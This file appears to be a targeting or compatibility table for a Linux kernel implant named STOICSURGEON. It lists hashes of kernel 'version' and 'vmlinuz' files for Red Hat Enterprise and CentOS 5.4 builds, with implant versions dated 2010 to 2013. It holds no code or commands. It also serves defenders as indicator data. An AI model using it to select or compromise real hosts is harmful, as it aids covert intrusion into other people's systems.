8297aeee28fdce3c1c855f114d481793 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 ab1a46849562fc76fa1d1fe74915ddea vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 e86044de7148b7fa23bda14f8503cbac version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 bbff60614587a3d2c8472ddf3ce65fdf vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 e8e179f7d3736585d235cb8045c7b943 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 512b898aff525ef603ee990b1930a761 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 260c0627e243d69d7baac79a3c4b2112 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 ccef7437beeb56a6c07eb72c83180fd6 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 bff4dcfafa9724e3b13a0e6b345bcdd3 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 84f871eff3abb6e4f885cb7c655dd7a3 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 c4d60f4a58dc3d7f3fe8d77b808108b0 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 77242f961e97cfbe62bb6988153dfbfa vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 9969b07141000cb7a462fe22d73712dd version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 0cd1c42f62c332789358ffdab65b67a4 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 265f753e8b18b8800d635225078cba61 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 c22a1f20841a06f894cb447c0530ef05 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 b59ab59ef0d55d7723b5fb7a88e2b216 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 6bdfe37eedfe319e76cc006bd4742323 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 e62e6aafc8b83dba8ad6d3c0a513dbe5 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 803b57509f595ffddb4c03207bfc4d93 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 69907b4f815d1179379e39b17afd2247 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 921a875b047136e6ccd9af7def6bb3a3 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 217354c9e13cf8da3a9b84e5f9361bca version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 79c0d72db696685c40b0434ff524ab8a vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 e4a25b49b0179958a34f28291c942d49 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 ac1583376e0f58c6d7b5d71ced3831e8 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 2313099a02068d831c3cb8a45370c504 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 15958aed8368664e4b3e55363ab092b5 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 697f834eca296bd1ec9cd6f54b1272da version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 726286f14d9926cc42979772242471e8 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 f201505e8f4945f8de3fdc8710112c14 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.7.37.11 b0d1757050f8158ee479cb837bebc1e5 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Oct 17 2012 +1.5.21.6 e86044de7148b7fa23bda14f8503cbac version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Mar 17 2010 +1.5.21.6 bbff60614587a3d2c8472ddf3ce65fdf vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Mar 17 2010 +1.5.21.6 056440fb949ff01ce5707946b3d8bc3c version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Mar 17 2010 +1.5.21.6 8769138c5267b86d6d09372bad8df3cd vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Mar 17 2010 +1.5.21.6 d02db26e8b90e8ac95094c557b896000 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Mar 17 2010 +1.5.21.6 7a90bc0249d69154201955063a817fe2 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Mar 17 2010 +1.5.21.6 8297aeee28fdce3c1c855f114d481793 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Mar 17 2010 +1.5.21.6 ab1a46849562fc76fa1d1fe74915ddea vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Mar 17 2010 +1.5.21.6 1d40128f2a9e4c869182961bf428c801 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Mar 17 2010 +1.5.21.6 45d05bab798528fe85d8064e38b71d49 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Mar 17 2010 +1.5.21.6 ac41b94451cdc6a82be8f4ae4de7fbe4 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Mar 17 2010 +1.5.21.6 a809116866c19234db407e9545cb7f68 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Wed Mar 17 2010 +1.7.3.2 1d40128f2a9e4c869182961bf428c801 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Thu Jun 2 2011 +1.7.3.2 45d05bab798528fe85d8064e38b71d49 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Thu Jun 2 2011 +1.7.3.2 ac41b94451cdc6a82be8f4ae4de7fbe4 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Thu Jun 2 2011 +1.7.3.2 a809116866c19234db407e9545cb7f68 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Thu Jun 2 2011 +1.7.3.2 056440fb949ff01ce5707946b3d8bc3c version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Thu Jun 2 2011 +1.7.3.2 8769138c5267b86d6d09372bad8df3cd vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Thu Jun 2 2011 +1.7.3.2 d02db26e8b90e8ac95094c557b896000 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Thu Jun 2 2011 +1.7.3.2 7a90bc0249d69154201955063a817fe2 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Thu Jun 2 2011 +1.7.3.2 8297aeee28fdce3c1c855f114d481793 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Thu Jun 2 2011 +1.7.3.2 ab1a46849562fc76fa1d1fe74915ddea vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Thu Jun 2 2011 +1.7.3.2 e86044de7148b7fa23bda14f8503cbac version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Thu Jun 2 2011 +1.7.3.2 bbff60614587a3d2c8472ddf3ce65fdf vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Thu Jun 2 2011 +1.7.3.2 e8e179f7d3736585d235cb8045c7b943 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Thu Jun 2 2011 +1.7.3.2 512b898aff525ef603ee990b1930a761 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Thu Jun 2 2011 +1.7.3.2 260c0627e243d69d7baac79a3c4b2112 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Thu Jun 2 2011 +1.7.3.2 ccef7437beeb56a6c07eb72c83180fd6 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Thu Jun 2 2011 +1.7.3.2 bff4dcfafa9724e3b13a0e6b345bcdd3 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Thu Jun 2 2011 +1.7.3.2 84f871eff3abb6e4f885cb7c655dd7a3 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Thu Jun 2 2011 +1.7.3.2 c4d60f4a58dc3d7f3fe8d77b808108b0 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Thu Jun 2 2011 +1.7.3.2 77242f961e97cfbe62bb6988153dfbfa vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Thu Jun 2 2011 +1.7.3.2 9969b07141000cb7a462fe22d73712dd version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Thu Jun 2 2011 +1.7.3.2 0cd1c42f62c332789358ffdab65b67a4 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Thu Jun 2 2011 +1.7.3.2 265f753e8b18b8800d635225078cba61 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Thu Jun 2 2011 +1.7.3.2 c22a1f20841a06f894cb447c0530ef05 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Thu Jun 2 2011 +1.7.3.2 b59ab59ef0d55d7723b5fb7a88e2b216 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Thu Jun 2 2011 +1.7.3.2 6bdfe37eedfe319e76cc006bd4742323 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-5.4 Thu Jun 2 2011 +1.7.55.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 ba488854a3e99c223727d7f5df2e46a1 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 2af9ecb4c4c224800302d89fbc409714 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 88936244a583e6b3e0bb01bdcf0e7e16 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 47b53ad2d9a401890d87cf8ff3b23d75 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 34fa8d7547d6cee0f2cf5028932be594 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 5519cdadbea5568baa7724c2fe86e9cf vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 001295297451cb0fbaaa45eed863799b version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 106743b16e75b7e5fd98bd66f18dc357 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 6793d342474d8432d27425648eecdc9c version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 24c7044f49a11b4d0a25e338f994f92f vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 9390049cef263ab4b395216b6013186b version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 bb758b3cac09784a45b4fa7adf55f3cb vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 7656a8d7901601dc384e81641fc9a3e3 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.4 c46900de3ecd2daaeaaf57a20fbd1300 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.5.22.2 7656a8d7901601dc384e81641fc9a3e3 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Mar 24 2010 +1.5.22.2 c46900de3ecd2daaeaaf57a20fbd1300 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Mar 24 2010 +1.5.22.2 001295297451cb0fbaaa45eed863799b version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Mar 24 2010 +1.5.22.2 106743b16e75b7e5fd98bd66f18dc357 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Mar 24 2010 +1.5.22.2 6793d342474d8432d27425648eecdc9c version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Mar 24 2010 +1.5.22.2 24c7044f49a11b4d0a25e338f994f92f vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Mar 24 2010 +1.5.22.2 9390049cef263ab4b395216b6013186b version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Mar 24 2010 +1.5.22.2 bb758b3cac09784a45b4fa7adf55f3cb vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Mar 24 2010 +1.5.22.2 88936244a583e6b3e0bb01bdcf0e7e16 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Mar 24 2010 +1.5.22.2 47b53ad2d9a401890d87cf8ff3b23d75 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Mar 24 2010 +1.5.22.2 34fa8d7547d6cee0f2cf5028932be594 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Mar 24 2010 +1.5.22.2 5519cdadbea5568baa7724c2fe86e9cf vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Mar 24 2010 +1.7.46.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 ba488854a3e99c223727d7f5df2e46a1 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 2af9ecb4c4c224800302d89fbc409714 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 88936244a583e6b3e0bb01bdcf0e7e16 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 47b53ad2d9a401890d87cf8ff3b23d75 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 34fa8d7547d6cee0f2cf5028932be594 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 5519cdadbea5568baa7724c2fe86e9cf vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 001295297451cb0fbaaa45eed863799b version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 106743b16e75b7e5fd98bd66f18dc357 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 6793d342474d8432d27425648eecdc9c version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 24c7044f49a11b4d0a25e338f994f92f vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 9390049cef263ab4b395216b6013186b version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 bb758b3cac09784a45b4fa7adf55f3cb vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 7656a8d7901601dc384e81641fc9a3e3 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.46.4 c46900de3ecd2daaeaaf57a20fbd1300 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Wed Jan 16 2013 +1.7.55.5 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 share export STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 ba488854a3e99c223727d7f5df2e46a1 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 2af9ecb4c4c224800302d89fbc409714 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 88936244a583e6b3e0bb01bdcf0e7e16 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 47b53ad2d9a401890d87cf8ff3b23d75 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 34fa8d7547d6cee0f2cf5028932be594 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 5519cdadbea5568baa7724c2fe86e9cf vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 001295297451cb0fbaaa45eed863799b version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 106743b16e75b7e5fd98bd66f18dc357 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 6793d342474d8432d27425648eecdc9c version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 24c7044f49a11b4d0a25e338f994f92f vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 9390049cef263ab4b395216b6013186b version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 bb758b3cac09784a45b4fa7adf55f3cb vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 7656a8d7901601dc384e81641fc9a3e3 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.7.55.5 c46900de3ecd2daaeaaf57a20fbd1300 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-5.4 Fri Apr 19 2013 +1.5.23.1 e8bcfcc49f07a1ae9a785f9ec42bd667 version STOICSURGEON-x86_64-LINUX-VINIFERA-ie103 Tue Apr 27 2010 +1.5.23.1 445c9dc7f8afb439cc7715ce6f6a7ab4 vmlinuz STOICSURGEON-x86_64-LINUX-VINIFERA-ie103 Tue Apr 27 2010 +1.7.40.11 41b0782f599942e41dd7a7bd0d4090ee version STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Fri Dec 7 2012 +1.7.40.11 4379d74a8313852904e619457045144f vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Fri Dec 7 2012 +1.7.40.11 95fe2c44357b534738ec2658d94d8f15 version STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Fri Dec 7 2012 +1.7.40.11 c6777fba6483744fa17985eb499c9520 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Fri Dec 7 2012 +1.7.40.11 ff3de26fe62ab651b7ebedb2bf4c8736 version STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Fri Dec 7 2012 +1.7.40.11 021560f6257e35b6f154ada1023f2e59 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Fri Dec 7 2012 +1.7.40.11 42608e1452b82486473e8b0158bee417 version STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Fri Dec 7 2012 +1.7.40.11 04a8e733d55f8a833714e56bbac4553a vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Fri Dec 7 2012 +1.7.40.11 8867c78bf8351bb13adfa14ac709745a version STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Fri Dec 7 2012 +1.7.40.11 d3f5c80d548d44bb955ef1fb57f01d76 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Fri Dec 7 2012 +1.7.40.11 332bb58e58e8ed33b06734ccf53c954f version STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Fri Dec 7 2012 +1.7.40.11 c221a8f93fa012b32945759599df049d vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Fri Dec 7 2012 +1.7.40.11 860095a347b2e20dc199db06c380aa6e version STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Fri Dec 7 2012 +1.7.40.11 e504ae517537437bb99c10ee727213ba vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Fri Dec 7 2012 +1.5.23.3 860095a347b2e20dc199db06c380aa6e version STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Thu Apr 29 2010 +1.5.23.3 e504ae517537437bb99c10ee727213ba vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Thu Apr 29 2010 +1.5.23.3 42608e1452b82486473e8b0158bee417 version STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Thu Apr 29 2010 +1.5.23.3 04a8e733d55f8a833714e56bbac4553a vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Thu Apr 29 2010 +1.5.23.3 8867c78bf8351bb13adfa14ac709745a version STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Thu Apr 29 2010 +1.5.23.3 d3f5c80d548d44bb955ef1fb57f01d76 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Thu Apr 29 2010 +1.5.23.3 332bb58e58e8ed33b06734ccf53c954f version STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Thu Apr 29 2010 +1.5.23.3 c221a8f93fa012b32945759599df049d vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Thu Apr 29 2010 +1.5.23.3 95fe2c44357b534738ec2658d94d8f15 version STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Thu Apr 29 2010 +1.5.23.3 c6777fba6483744fa17985eb499c9520 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Thu Apr 29 2010 +1.5.23.3 41b0782f599942e41dd7a7bd0d4090ee version STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Thu Apr 29 2010 +1.5.23.3 4379d74a8313852904e619457045144f vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Thu Apr 29 2010 +1.5.23.3 ff3de26fe62ab651b7ebedb2bf4c8736 version STOICSURGEON-X86_64-LINUX-CENTOS-5.4 Thu Apr 29 2010 +1.5.23.3 021560f6257e35b6f154ada1023f2e59 vmlinuz 